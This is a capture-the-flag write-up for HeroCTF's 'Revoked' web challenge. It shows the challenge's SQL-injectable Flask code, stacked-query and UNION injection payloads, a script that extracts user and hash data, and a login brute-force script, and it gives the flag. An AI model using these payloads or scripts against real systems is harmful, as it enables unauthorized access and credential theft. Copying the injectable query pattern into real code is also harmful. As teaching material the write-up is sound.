//Revoked Writeup
Category: Web
Difficulty: Easy
Flag: Hero{N0t_th4t_r3v0k3d_ec6dcf0ae6ae239c4d630b2f5ccb51bb}
>Challenge Description
The challenge provided a web application with a login page and an employee directory. The goal was to gain administrative access and retrieve the flag from the /admin endpoint.
>Vulnerability Analysis
The core vulnerability was a SQL Injection in the /employees endpoint. The application used an unsafe f-string to construct the SQL query, directly embedding user input without sanitization.
Vulnerable Code (main.py):
@app.route("/employees", methods=["GET"])
@token_required
def employees():
query = request.args.get("query", "")
conn = get_db_connection()
cursor = conn.cursor()
# VULNERABILITY: Unsafe f-string interpolation
cursor.execute(
f"SELECT id, name, email, position FROM employees WHERE name LIKE '%{query}%'"
)
results = cursor.fetchall()
conn.close()
return render_template("employees.html", username=request.username, employees=results, query=query)
The token_required decorator checked for a valid JWT and verified if the user was an admin by querying the database. Crucially, the admin status was determined by the is_admin column in the users table, not the JWT payload.
>Exploitation Strategy
Attempt 1: Database Modification (Failed)
My initial thought was to use the SQL injection to modify the users table and set is_admin=1 for my user. I attempted:
-
Stacked Queries:
'; UPDATE users SET is_admin=1 WHERE username='attacker'; -- -
Writable CTEs: Using
WITH updated AS (UPDATE ... RETURNING ...)
However, the application was using SQLite, and the Python sqlite3 driver's cursor.execute() method does not support multiple statements (stacked queries) by default. Additionally, the SQLite version on the remote server (3.37.2) did not support the necessary syntax for writable CTEs in this context.
Attempt 2: Data Exfiltration & Brute Force (Success)
Since I couldn't modify the database, I pivoted to data exfiltration using UNION-based SQL injection.
Step 1: Enumerating Users
I wrote a script to extract user information from the users table.
Exploit Script (explore_db.py - simplified):
import requests
import re
base_url = "http://dyn11.heroctf.fr:14498"
# ... registration and login code ...
# Payload to extract users
# We map the columns: id -> id, username -> name, password_hash -> email, is_admin -> position
payload = "xxx' UNION SELECT CAST(id AS TEXT), username, SUBSTR(password_hash, 1, 20), CAST(is_admin AS TEXT) FROM users --"
r = session.get(f"{base_url}/employees", params={'query': payload}, cookies={'JWT': jwt_token})
# Regex to parse the HTML response
cards = re.findall(r'<h5 class="card-title[^"]*">([^<]+)</h5>', r.text)
print(f"Users found: {cards}")
Result: The script revealed two interesting users:
-
admin -
admin1
Step 2: Brute Forcing Admin Password
With the usernames known, I attempted to crack the password hashes. However, extracting the full bcrypt hashes via the HTML response was messy due to truncation. Instead, I decided to try a simple password brute force attack against the login endpoint, assuming the admin might have a weak password.
Solver Script (brute_force.py):
import requests
import re
base_url = "http://dyn11.heroctf.fr:14498"
admin_usernames = ['admin', 'admin1']
common_passwords = [
'admin', 'password', '123456', 'admin123', 'root', 'pass',
'secret', 'admin1', '1234'
]
print("[*] Starting Brute Force...")
for username in admin_usernames:
for password in common_passwords:
try:
r = requests.post(
f"{base_url}/login",
data={'username': username, 'password': password},
allow_redirects=False,
timeout=5
)
if 'JWT' in r.cookies:
print(f"[+] SUCCESS! Creds found: {username}:{password}")
jwt_token = r.cookies['JWT']
# Access Admin Panel
r2 = requests.get(f"{base_url}/admin", cookies={'JWT': jwt_token})
if "Hero{" in r2.text:
flag = re.search(r'Hero\{[^}]+\}', r2.text).group(0)
print(f"[+] FLAG: {flag}")
exit(0)
except Exception as e:
continue
print("[-] Failed to find credentials")
Result:
The script successfully logged in as admin1 with the password pass.
>Conclusion
The challenge was a classic example of how SQL injection can be used for enumeration even when database modification is restricted. The "Revoked" theme was a bit of a red herring, as the solution didn't require bypassing the token revocation mechanism directly, but rather obtaining valid admin credentials.
Final Flag: Hero{N0t_th4t_r3v0k3d_ec6dcf0ae6ae239c4d630b2f5ccb51bb}